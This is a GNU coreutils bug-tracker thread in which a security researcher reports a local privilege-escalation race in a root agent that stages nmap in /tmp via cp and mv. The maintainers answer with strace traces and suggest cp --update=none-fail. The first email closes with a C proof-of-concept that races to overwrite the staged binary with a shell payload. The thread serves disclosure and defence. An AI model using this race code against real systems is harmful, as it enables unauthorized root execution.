bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-10 Thread Paul Eggert

On 2026-03-08 23:46, Ajay S.K wrote:

The situation does not depend on creating /tmp/nmap during mv. The behavior 
occurs earlier during the cp operation when the destination file already exists 
and is controlled by an unprivileged user.


Ah, I was confused by your earlier email which talked about the attacker 
running simultaneously with the mv.


To avoid the race you mention, use the following cp command instead:

cp -a --update=none-fail /usr/bin/nmap /tmp/nmap

--update=none-fail is not the default, for compatibility with 
longstanding practice and with POSIX. But it sounds like you need it.






bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-08 Thread Ajay S . K via GNU coreutils Bug Reports
Hi Paul Eggert,
Thank you for your response. I want to clarify the scenario and my concern more 
precisely.
The situation does not depend on creating /tmp/nmap during mv. The behavior 
occurs earlier during the cp operation when the destination file already exists 
and is controlled by an unprivileged user.Instead of the race condition, I will 
put forth below another scenario that I have experimented with.
Consider the following sequence:

  1.
An unprivileged user can also pre-create /tmp/nmap.
  2.
Because /tmp has the sticky bit set, other users cannot unlink or rename the 
file, but the attacker still owns it.
  3.
A privileged process later executes:

cp -a /usr/bin/nmap /tmp/nmap

Since the destination file already exists, cp opens the existing file and 
truncates it rather than creating a new file. The file contents are copied 
first, and the metadata (ownership, permissions, timestamps, etc.) is applied 
afterwards.
During the interval between truncating the file and applying the final 
metadata, the file remains owned by the attacker. Because the attacker still 
owns the file, another process controlled by the attacker can open the file 
concurrently and write to it while cp is copying the contents.
In testing, by racing concurrent writes against the copy operation, I observed 
different intermediate permission and ownership states depending on timing, 
allowing modification of the destination file contents before the final 
metadata is applied.
My concern is the following: when a privileged process copies a file with cp -a 
into a destination that already exists and is owned by another user, the 
operation writes to that existing file rather than failing or protecting the 
destination from concurrent modification. In other words, the destination file 
continues to follow its existing permissions and ownership during the copy 
phase, instead of being protected based on the source file’s metadata from the 
beginning of the operation.
I am trying to understand whether this behaviour is considered intentional 
design for cp, or if there are reasons why the operation should not fail or 
otherwise protect the destination file when it already exists and is owned by a 
different user.


[undefined]

Warm Regards,

Ajay SK

Firmware Security Researcher

Payatu Security Consulting Pvt Ltd.

Reach me on: 7397338492

This email and any files transmitted with it are confidential and intended 
solely for the use of the individual or entity to whom they are addressed. If 
you have received this email in error, please notify the system manager. Please 
note that any views or opinions presented in this email are solely those of the 
author and do not necessarily represent those of the company. Finally, the 
recipient should check this email and any attachments for the presence of 
Malwares. The company accepts no liability for any damage caused by any Malware 
transmitted by this email.


From: Paul Eggert 
Sent: 09 March 2026 11:10
To: Ajay S.K ; Collin Funk 
Cc: [email protected] <[email protected]>
Subject: Re: bug#80572: [BUG] Privilege escalation via cp trying to replace 
file contents using root privileges

[You don't often get email from [email protected]. Learn why this is important 
at https://aka.ms/LearnAboutSenderIdentification ]

CAUTION: This email originated from outside of the organization. Do not click 
links or open attachments unless you recognize the sender and know the content 
is safe.

On 2026-03-08 20:32, Ajay S.K wrote:
> What happens during the race is the following. At a certain point while mv -f 
> /tmp/nmap /usr/bin/nmap is executing, my program manages to create /tmp/nmap.

That does not necessarily mean there's a problem.

As I mentioned earlier, the relevant syscalls executed by that mv
command should look like the following:

>   renameat2(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap", 
> RENAME_NOREPLACE) = -1 EEXIST (File exists)
>   openat(AT_FDCWD, "/usr/bin/nmap", O_RDONLY|O_PATH|O_DIRECTORY) = -1 ENOTDIR 
> (Not a directory)
>   newfstatat(AT_FDCWD, "/tmp/nmap", {st_mode=S_IFREG|0755, st_size=138120, 
> ...}, AT_SYMLINK_NOFOLLOW) = 0
>   newfstatat(AT_FDCWD, "/usr/bin/nmap", {st_mode=S_IFREG|0755, 
> st_size=138120, ...}, AT_SYMLINK_NOFOLLOW) = 0
>   renameat(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap") = 0

If your attacking program "manages to create" /tmp/nmap while the mv is
executing, that must occur after the last syscall (the renameat) quoted
above. This is because the file /tmp/nmap exists until then, and the
attacker cannot create a file that already exists.

And if your attacking program creates /tmp/nmap after the renameat, the
attacking program can't affect what's in /usr/bin/nmap. All it can do is
create a file /tmp/nmap that nobody else cares about. So privilege
escalat

bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-08 Thread Paul Eggert

On 2026-03-08 20:32, Ajay S.K wrote:

What happens during the race is the following. At a certain point while mv -f 
/tmp/nmap /usr/bin/nmap is executing, my program manages to create /tmp/nmap.


That does not necessarily mean there's a problem.

As I mentioned earlier, the relevant syscalls executed by that mv 
command should look like the following:



  renameat2(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap", RENAME_NOREPLACE) 
= -1 EEXIST (File exists)
  openat(AT_FDCWD, "/usr/bin/nmap", O_RDONLY|O_PATH|O_DIRECTORY) = -1 ENOTDIR 
(Not a directory)
  newfstatat(AT_FDCWD, "/tmp/nmap", {st_mode=S_IFREG|0755, st_size=138120, 
...}, AT_SYMLINK_NOFOLLOW) = 0
  newfstatat(AT_FDCWD, "/usr/bin/nmap", {st_mode=S_IFREG|0755, st_size=138120, 
...}, AT_SYMLINK_NOFOLLOW) = 0
  renameat(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap") = 0


If your attacking program "manages to create" /tmp/nmap while the mv is 
executing, that must occur after the last syscall (the renameat) quoted 
above. This is because the file /tmp/nmap exists until then, and the 
attacker cannot create a file that already exists.


And if your attacking program creates /tmp/nmap after the renameat, the 
attacking program can't affect what's in /usr/bin/nmap. All it can do is 
create a file /tmp/nmap that nobody else cares about. So privilege 
escalation does not occur.


The rest of your email is also incoherent.

We can't debug this from a distance: you'll need to find out what 
happened yourself. I suggest starting by using strace on the 'cp' 
command, the 'mv' command, and your attacking program, and looking at 
the strace output.







bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-08 Thread Ajay S . K via GNU coreutils Bug Reports
Hi Paul,
What happens during the race is the following. At a certain point while mv -f 
/tmp/nmap /usr/bin/nmap is executing, my program manages to create /tmp/nmap. 
During this window the application performs its size check, and the file shows 
a size greater than 100 bytes. After the move operation completes, the file can 
still be opened successfully.
Once this time window occurs and the file is already present at /tmp/nmap, 
running the vertical privilege escalation script again results in one of the 
four different outcomes I mentioned earlier, depending on which stage of the 
operation the race is won.
This made me wonder whether the behavior could be considered a design issue. It 
appears that the file contents are copied first and the permissions are applied 
afterward (even when using -a). Because of this ordering, an unprivileged user 
might retain a writable handle while a privileged process performs the 
operation.
My doubt is that if this is the case, then whenever we know a script or 
privileged program is going to copy a file into a directory, an unprivileged 
user could try to create the destination file during the operation and 
potentially write to it while the copy is happening, since the permissions and 
security checks appear to be enforced later. In theory, this seems like it 
could lead to vertical or horizontal privilege escalation scenarios.
I also noticed that there does not appear to be any explicit locking (for 
example a try-lock or similar mechanism) around this operation.
Could you clarify if this behavior is expected, or if there are safeguards I 
might be overlooking?
Thanks.

[undefined]

Warm Regards,

Ajay SK

Firmware Security Researcher

Payatu Security Consulting Pvt Ltd.

Reach me on: 7397338492

This email and any files transmitted with it are confidential and intended 
solely for the use of the individual or entity to whom they are addressed. If 
you have received this email in error, please notify the system manager. Please 
note that any views or opinions presented in this email are solely those of the 
author and do not necessarily represent those of the company. Finally, the 
recipient should check this email and any attachments for the presence of 
Malwares. The company accepts no liability for any damage caused by any Malware 
transmitted by this email.


From: Paul Eggert 
Sent: 09 March 2026 02:20
To: Collin Funk ; Ajay S.K 
Cc: [email protected] <[email protected]>
Subject: Re: bug#80572: [BUG] Privilege escalation via cp trying to replace 
file contents using root privileges

[You don't often get email from [email protected]. Learn why this is important 
at https://aka.ms/LearnAboutSenderIdentification ]

CAUTION: This email originated from outside of the organization. Do not click 
links or open attachments unless you recognize the sender and know the content 
is safe.

On 2026-03-08 01:04, Collin Funk wrote:

> The behavior you see is surprising to me.
Yes, I'm not understanding it either. Just to double check, he writes
that /tmp and /usr/bin are the same file system. In that case, 'cp -f
/usr/bin/nmap /tmp/nmap' should do something like this:

   openat(AT_FDCWD, "/tmp/nmap", O_RDONLY|O_PATH|O_DIRECTORY) = -1
ENOENT (No such file or directory)
   newfstatat(AT_FDCWD, "/usr/bin/nmap", {st_mode=S_IFREG|0755,
st_size=138120, ...}, 0) = 0
   openat(AT_FDCWD, "/usr/bin/nmap", O_RDONLY) = 3
   fstat(3, {st_mode=S_IFREG|0755, st_size=138120, ...}) = 0
   openat(AT_FDCWD, "/tmp/nmap", O_WRONLY|O_CREAT|O_EXCL, 0755) = 4
   ioctl(4, BTRFS_IOC_CLONE or FICLONE, 3) = -1 EOPNOTSUPP (Operation
not supported)
   fstat(4, {st_mode=S_IFREG|0755, st_size=0, ...}) = 0
   lseek(3, 0, SEEK_DATA)  = 0
   lseek(3, 0, SEEK_HOLE)  = 138120
   lseek(3, 0, SEEK_SET)   = 0
   copy_file_range(3, NULL, 4, NULL, 2146435072, 0) = 138120
   copy_file_range(3, NULL, 4, NULL, 2146435072, 0) = 0
   close(4)= 0
   close(3)= 0

and 'mv -f /tmp/nmap /usr/bin/nmap' should do something like this:

   renameat2(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap",
RENAME_NOREPLACE) = -1 EEXIST (File exists)
   openat(AT_FDCWD, "/usr/bin/nmap", O_RDONLY|O_PATH|O_DIRECTORY) = -1
ENOTDIR (Not a directory)
   newfstatat(AT_FDCWD, "/tmp/nmap", {st_mode=S_IFREG|0755,
st_size=138120, ...}, AT_SYMLINK_NOFOLLOW) = 0
   newfstatat(AT_FDCWD, "/usr/bin/nmap", {st_mode=S_IFREG|0755,
st_size=138120, ...}, AT_SYMLINK_NOFOLLOW) = 0
   renameat(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap") = 0

He can use 'strace' to verify this, and if 'strace' reports anything
different we can take it from there.

I am assuming bleeding-edge coreutils; if he's using older coreutils
perhaps the older version has been fixed and he should upgrade.


bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-08 Thread Paul Eggert

On 2026-03-08 01:04, Collin Funk wrote:


The behavior you see is surprising to me.
Yes, I'm not understanding it either. Just to double check, he writes 
that /tmp and /usr/bin are the same file system. In that case, 'cp -f 
/usr/bin/nmap /tmp/nmap' should do something like this:


  openat(AT_FDCWD, "/tmp/nmap", O_RDONLY|O_PATH|O_DIRECTORY) = -1 
ENOENT (No such file or directory)
  newfstatat(AT_FDCWD, "/usr/bin/nmap", {st_mode=S_IFREG|0755, 
st_size=138120, ...}, 0) = 0

  openat(AT_FDCWD, "/usr/bin/nmap", O_RDONLY) = 3
  fstat(3, {st_mode=S_IFREG|0755, st_size=138120, ...}) = 0
  openat(AT_FDCWD, "/tmp/nmap", O_WRONLY|O_CREAT|O_EXCL, 0755) = 4
  ioctl(4, BTRFS_IOC_CLONE or FICLONE, 3) = -1 EOPNOTSUPP (Operation 
not supported)

  fstat(4, {st_mode=S_IFREG|0755, st_size=0, ...}) = 0
  lseek(3, 0, SEEK_DATA)  = 0
  lseek(3, 0, SEEK_HOLE)  = 138120
  lseek(3, 0, SEEK_SET)   = 0
  copy_file_range(3, NULL, 4, NULL, 2146435072, 0) = 138120
  copy_file_range(3, NULL, 4, NULL, 2146435072, 0) = 0
  close(4)= 0
  close(3)= 0

and 'mv -f /tmp/nmap /usr/bin/nmap' should do something like this:

  renameat2(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap", 
RENAME_NOREPLACE) = -1 EEXIST (File exists)
  openat(AT_FDCWD, "/usr/bin/nmap", O_RDONLY|O_PATH|O_DIRECTORY) = -1 
ENOTDIR (Not a directory)
  newfstatat(AT_FDCWD, "/tmp/nmap", {st_mode=S_IFREG|0755, 
st_size=138120, ...}, AT_SYMLINK_NOFOLLOW) = 0
  newfstatat(AT_FDCWD, "/usr/bin/nmap", {st_mode=S_IFREG|0755, 
st_size=138120, ...}, AT_SYMLINK_NOFOLLOW) = 0

  renameat(AT_FDCWD, "/tmp/nmap", AT_FDCWD, "/usr/bin/nmap") = 0

He can use 'strace' to verify this, and if 'strace' reports anything 
different we can take it from there.


I am assuming bleeding-edge coreutils; if he's using older coreutils 
perhaps the older version has been fixed and he should upgrade.






bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-08 Thread Ajay S . K via GNU coreutils Bug Reports
Hi Collin,
Thank you for the detailed explanation and for taking the time to look into 
this.
I wanted to provide a bit more information about the environment and what I 
observed during testing.
First, in my setup /tmp and /usr/bin are actually on the same filesystem:
$ df -T /tmp
Filesystem Type 1K-blocks Used Available Use% Mounted on
/dev/nvme0n1p2 ext4 982862268 896113064 36748872 97% /
$ df -T /usr/bin
Filesystem Type 1K-blocks Used Available Use% Mounted on
/dev/nvme0n1p2 ext4 982862268 896112852 36749084 97% /
So, in this case, mv -f /tmp/nmap /usr/bin/nmap should perform an atomic 
rename() rather than a cross-filesystem copy.
During testing I also experimented with different cp options. Originally the 
application used:
cp -f /usr/bin/nmap /tmp/nmap
I replaced it with:
cp -a /usr/bin/nmap /tmp/nmap
to see whether preserving metadata would change the behavior, but the race 
condition still allowed me to obtain a writable handle to /tmp/nmap as an 
unprivileged user and overwrite the beginning of the file.
In several runs I was able to modify the first bytes of the file while cp was 
copying it, which produced results such as:

  *
full nmap-sized file with the first bytes replaced by attacker-controlled data
  *
truncated files containing only the payload
  *
alternating ownership between root and the unprivileged user

Because /tmp is world-writable, I suspect the window may occur during the copy 
phase before cp restores the final permissions/ownership of the destination 
file descriptor.
Of course the main design issue is that the application stages a privileged 
binary in /tmp, which makes this race exploitable. However, the ability for 
another process to obtain a writable descriptor to the destination during the 
copy phase seemed surprising to me, so I wanted to confirm whether this is 
expected behavior from cp.
Please let me know if I may be misunderstanding something in the copy path.
Thank you again for your time and explanation.



[undefined]

Warm Regards,

Ajay SK

Firmware Security Researcher

Payatu Security Consulting Pvt Ltd.

Reach me on: 7397338492

This email and any files transmitted with it are confidential and intended 
solely for the use of the individual or entity to whom they are addressed. If 
you have received this email in error, please notify the system manager. Please 
note that any views or opinions presented in this email are solely those of the 
author and do not necessarily represent those of the company. Finally, the 
recipient should check this email and any attachments for the presence of 
Malwares. The company accepts no liability for any damage caused by any Malware 
transmitted by this email.


From: Collin Funk 
Sent: 08 March 2026 14:34
To: Ajay S.K 
Cc: [email protected] <[email protected]>
Subject: Re: bug#80572: [BUG] Privilege escalation via cp trying to replace 
file contents using root privileges

[You don't often get email from [email protected]. Learn why this is 
important at https://aka.ms/LearnAboutSenderIdentification ]

CAUTION: This email originated from outside of the organization. Do not click 
links or open attachments unless you recognize the sender and know the content 
is safe.

Hi Ajay,

Ajay S.K via GNU coreutils Bug Reports  writes:

> Dear Coreutils Maintainers,
> I am a penetration tester assessing a desktop endpoint management
> application that runs with root privileges. One of its features
> replaces the existing nmap binary with its own version. The
> implementation performs the following steps:
>
>   1.
> cp -f /usr/bin/nmap /tmp/nmap
>   2.
> mv -f /tmp/nmap /usr/bin/nmap
>
> Both commands are executed through popen.
> While testing this behavior as an unprivileged user, I attempted to
> exploit a race condition by monitoring /tmp/nmap and obtaining a write
> handle using open() when the file size exceeded a certain threshold.
> After several attempts, I was able to overwrite the beginning of the
> file with the following payload (29 bytes):
> #!/bin/bash
> id > /tmp/abcdef
> When the endpoint agent later invoked nmap, the payload executed and wrote 
> the output of id to /tmp/abcdef.
> During multiple race attempts, I observed several different outcomes.
> In some cases the file size was truncated to the payload size and
> owned by the unprivileged user. In other cases the owner was root but
> the payload remained. Sometimes the final file had the full nmap size
> but with the first 29 bytes overwritten by user-controlled data.
> Ownership also alternated between root and the racing user in
> different runs.
> I also noticed the file permissions changing unpredictably during different 
> race attempts (e.g., 0644, 0640, 0400).
> In another scenario, if /tmp/nmap was pre-created by the unprivileged
> user with a small file and the application was triggered, I was abl

bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-08 Thread Collin Funk
Hi Ajay,

Ajay S.K via GNU coreutils Bug Reports  writes:

> Dear Coreutils Maintainers,
> I am a penetration tester assessing a desktop endpoint management
> application that runs with root privileges. One of its features
> replaces the existing nmap binary with its own version. The
> implementation performs the following steps:
>
>   1.
> cp -f /usr/bin/nmap /tmp/nmap
>   2.
> mv -f /tmp/nmap /usr/bin/nmap
>
> Both commands are executed through popen.
> While testing this behavior as an unprivileged user, I attempted to
> exploit a race condition by monitoring /tmp/nmap and obtaining a write
> handle using open() when the file size exceeded a certain threshold.
> After several attempts, I was able to overwrite the beginning of the
> file with the following payload (29 bytes):
> #!/bin/bash
> id > /tmp/abcdef
> When the endpoint agent later invoked nmap, the payload executed and wrote 
> the output of id to /tmp/abcdef.
> During multiple race attempts, I observed several different outcomes.
> In some cases the file size was truncated to the payload size and
> owned by the unprivileged user. In other cases the owner was root but
> the payload remained. Sometimes the final file had the full nmap size
> but with the first 29 bytes overwritten by user-controlled data.
> Ownership also alternated between root and the racing user in
> different runs.
> I also noticed the file permissions changing unpredictably during different 
> race attempts (e.g., 0644, 0640, 0400).
> In another scenario, if /tmp/nmap was pre-created by the unprivileged
> user with a small file and the application was triggered, I was able
> to modify the file immediately when it was written. In this case the
> file consistently remained owned by the unprivileged user.
> My system is running:
> Linux pwn-land 6.19.6 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
> I reproduced the same behavior on an older kernel and again after upgrading 
> to the latest stable kernel.
> I had a couple of questions:
>
>   1.
> Is it expected behavior that cp does not update permissions when
> overwriting an existing file created by a low-privileged user? If a
> privileged application overwrites such a file and later executes it,
> could that lead to a privilege escalation scenario?
>   2.
> Why does this race produce multiple observable outcomes (different
> ownership, sizes, and permissions)? Are there multiple internal stages
> or code paths in cp/mv that could explain these different states?

I'm not sure I fully understand your situation, but I will try to give
you some information that is hopefully helpful. I am not saying that you
are up to no good, but I hope you understand that some people might not
be brave enough to run your programs as root. :)

I assume that your /usr/bin and /tmp are on separate mount points, as
that seems to be how things are typically set up. Typically 'mv' uses
renameat which is atomic and avoids any potential races. This fails when
moving across mount points, likewise for cloning if your file system
supports it and copy_file_range() (these are also used by 'cp').
Therefore, we have to fallback to the old reliable 'read' and 'write'.

The behavior you see is surprising to me. You mention the modes 0644,
0640, and 0400 which all are unwritable for other users. You can see how
'mv' handles permissions during copying using 'strace':

$ install -m 777 /dev/null a
$ echo hello >> a
$ strace -P a -P /tmp/b -e trace='/.*(open|chmod|read|write)' \
mv -f a /tmp/b
openat(AT_FDCWD, "/tmp/b", O_RDONLY|O_PATH|O_DIRECTORY) = -1 ENOTDIR (Not a 
directory)
openat(AT_FDCWD, "a", O_RDONLY|O_NOFOLLOW) = 3
openat(AT_FDCWD, "/tmp/b", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4
read(3, "hello\n", 262144)  = 6
write(4, "hello\n", 6)  = 6
read(3, "", 262144) = 0
fchmod(4, 0100777)  = 0
+++ exited with 0 +++
$ install -m 600 /dev/null a
$ echo hello >> a
$ chmod 400 a
$ strace -P a -P /tmp/b -e trace='/.*(open|chmod|read|write)' \
mv -f a /tmp/b
openat(AT_FDCWD, "/tmp/b", O_RDONLY|O_PATH|O_DIRECTORY) = -1 ENOTDIR (Not a 
directory)
openat(AT_FDCWD, "a", O_RDONLY|O_NOFOLLOW) = 3
openat(AT_FDCWD, "/tmp/b", O_WRONLY|O_CREAT|O_EXCL, 0600) = 4
read(3, "hello\n", 262144)  = 6
write(4, "hello\n", 6)  = 6
read(3, "", 262144) = 0
fchmod(4, 0100400)  = 0

So, we first create the new file so the current user can read and write
to it. After we finish copying the data we set the permission to the
source files mode, which may or may not be more permissive.

The case for 'cp' is a bit more complex and depends on the --preserve
option being used. If none are used then the source files mode is used.

Collin





bug#80572: [BUG] Privilege escalation via cp trying to replace file contents using root privileges

2026-03-07 Thread Ajay S . K via GNU coreutils Bug Reports
Dear Coreutils Maintainers,
I am a penetration tester assessing a desktop endpoint management application 
that runs with root privileges. One of its features replaces the existing nmap 
binary with its own version. The implementation performs the following steps:

  1.
cp -f /usr/bin/nmap /tmp/nmap
  2.
mv -f /tmp/nmap /usr/bin/nmap

Both commands are executed through popen.
While testing this behavior as an unprivileged user, I attempted to exploit a 
race condition by monitoring /tmp/nmap and obtaining a write handle using 
open() when the file size exceeded a certain threshold. After several attempts, 
I was able to overwrite the beginning of the file with the following payload 
(29 bytes):
#!/bin/bash
id > /tmp/abcdef
When the endpoint agent later invoked nmap, the payload executed and wrote the 
output of id to /tmp/abcdef.
During multiple race attempts, I observed several different outcomes. In some 
cases the file size was truncated to the payload size and owned by the 
unprivileged user. In other cases the owner was root but the payload remained. 
Sometimes the final file had the full nmap size but with the first 29 bytes 
overwritten by user-controlled data. Ownership also alternated between root and 
the racing user in different runs.
I also noticed the file permissions changing unpredictably during different 
race attempts (e.g., 0644, 0640, 0400).
In another scenario, if /tmp/nmap was pre-created by the unprivileged user with 
a small file and the application was triggered, I was able to modify the file 
immediately when it was written. In this case the file consistently remained 
owned by the unprivileged user.
My system is running:
Linux pwn-land 6.19.6 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
I reproduced the same behavior on an older kernel and again after upgrading to 
the latest stable kernel.
I had a couple of questions:

  1.
Is it expected behavior that cp does not update permissions when overwriting an 
existing file created by a low-privileged user? If a privileged application 
overwrites such a file and later executes it, could that lead to a privilege 
escalation scenario?
  2.
Why does this race produce multiple observable outcomes (different ownership, 
sizes, and permissions)? Are there multiple internal stages or code paths in 
cp/mv that could explain these different states?

For easier reproduction, I have attached two small programs:

  *
A C simulator that mimics the application's behavior (should be run as root). 
The sleep calls are only to help reproduce the race.
  *
A simple proof-of-concept program that attempts the privilege escalation.

Thank you for your time and clarification.

[undefined]

Warm Regards,

Ajay SK

Firmware Security Researcher

Payatu Security Consulting Pvt Ltd.

Reach me on: 7397338492

This email and any files transmitted with it are confidential and intended 
solely for the use of the individual or entity to whom they are addressed. If 
you have received this email in error, please notify the system manager. Please 
note that any views or opinions presented in this email are solely those of the 
author and do not necessarily represent those of the company. Finally, the 
recipient should check this email and any attachments for the presence of 
Malwares. The company accepts no liability for any damage caused by any Malware 
transmitted by this email.

#include
#include
int main()
{
	while(1)
	{
	FILE *fp;
	puts("The sleep of 10 seconds gonna happen now");
	sleep(5);
	fp = popen("/bin/cp -f /usr/bin/nmap /tmp/nmap","r");
	pclose(fp);
	puts("Now the sleep of 5 started");
	sleep(0.5);
	fp = popen("/bin/mv -f /tmp/nmap /usr/bin/nmap","r");
	pclose(fp);
	}
}

#include 
#include 
#include 
#include 
#include 
#include
int main(void) {
const char *path = "/tmp/nmap";
struct stat st;

while (1) {
if (lstat(path, &st) == -1) {
/* File does not exist or error */
continue;
}

if (st.st_size > 100) {
	int fd = open(path, O_CREAT|O_TRUNC|O_WRONLY);
	if(fd == -1)
	{
		perror("open");
		printf("The permissions of this file is %o\n",st.st_mode & 0777);
printf("[+] Opened %s (fd=%d, size=%lld bytes)\n",
   path, fd, (long long)st.st_size);
		continue;

	}
	write(fd,"#!/bin/bash\nid > /tmp/abcdef\n",29);
	close(fd);
	if (fd == -1) {
perror("open");
} else {
		printf("The fd of the process is %d\n",fd);
		printf("The permissions of this file is %o\n",st.st_mode & 0777);
printf("[+] Opened %s (fd=%d, size=%lld bytes)\n",
   path, fd, (long long)st.st_size);
close(fd);
		exit(1);
}
}
}
return 0;
}